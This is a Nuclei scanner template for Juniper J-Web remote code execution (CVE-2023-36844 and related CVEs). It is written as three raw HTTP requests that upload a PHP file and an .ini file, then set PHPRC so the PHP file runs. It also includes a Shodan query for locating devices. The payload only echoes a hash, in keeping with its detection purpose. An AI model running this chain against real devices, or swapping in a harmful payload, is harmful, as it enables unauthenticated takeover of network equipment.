82 lines
3.2 KiB
YAML
82 lines
3.2 KiB
YAML
id: CVE-2023-36844
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info:
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name: Juniper Devices - Remote Code Execution
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author: princechaddha,ritikchaddha
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severity: medium
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description: |
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Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
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remediation: |
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Apply the latest security patches and firmware updates provided by Juniper Networks to mitigate this vulnerability.
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reference:
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- https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
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- https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
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- https://supportportal.juniper.net/JSA72300
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- http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html
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- http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
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cvss-score: 5.3
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cve-id: CVE-2023-36844
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cwe-id: CWE-473
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epss-score: 0.02557
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epss-percentile: 0.89058
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cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 3
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vendor: juniper
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product: junos
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shodan-query: title:"Juniper Web Device Manager"
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tags: packetstorm,cve,cve2023,juniper,php,rce,intrusive,fileupload
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variables:
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value: "CVE-2023-36844"
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payload: "('<?php echo md5('{{value}}');?>')"
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http:
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- raw:
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- |
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POST /webauth_operation.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
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- |
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POST /webauth_operation.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
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- |
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GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- '"original_fileName":'
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- '"converted_fileName":'
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condition: and
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- type: word
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part: body_3
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words:
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- '{{md5(value)}}'
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extractors:
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- type: regex
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part: body_1
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name: phpfile
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regex:
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- "([a-f0-9]{64}\\.php)"
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internal: true
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- type: regex
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part: body_2
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name: inifile
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regex:
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- "([a-f0-9]{64}\\.ini)"
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internal: true
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# digest: 4a0a0047304502210097bad7b640c85704400e7752651e624ddc9a5bfaa9877d20ce7e05f598856b4f02205a28dedd06d4ba8bcf84a516d0aaf70277ab916a4138be915c67e02047ced89f:922c64590222798bb761d5b6d8e72950 |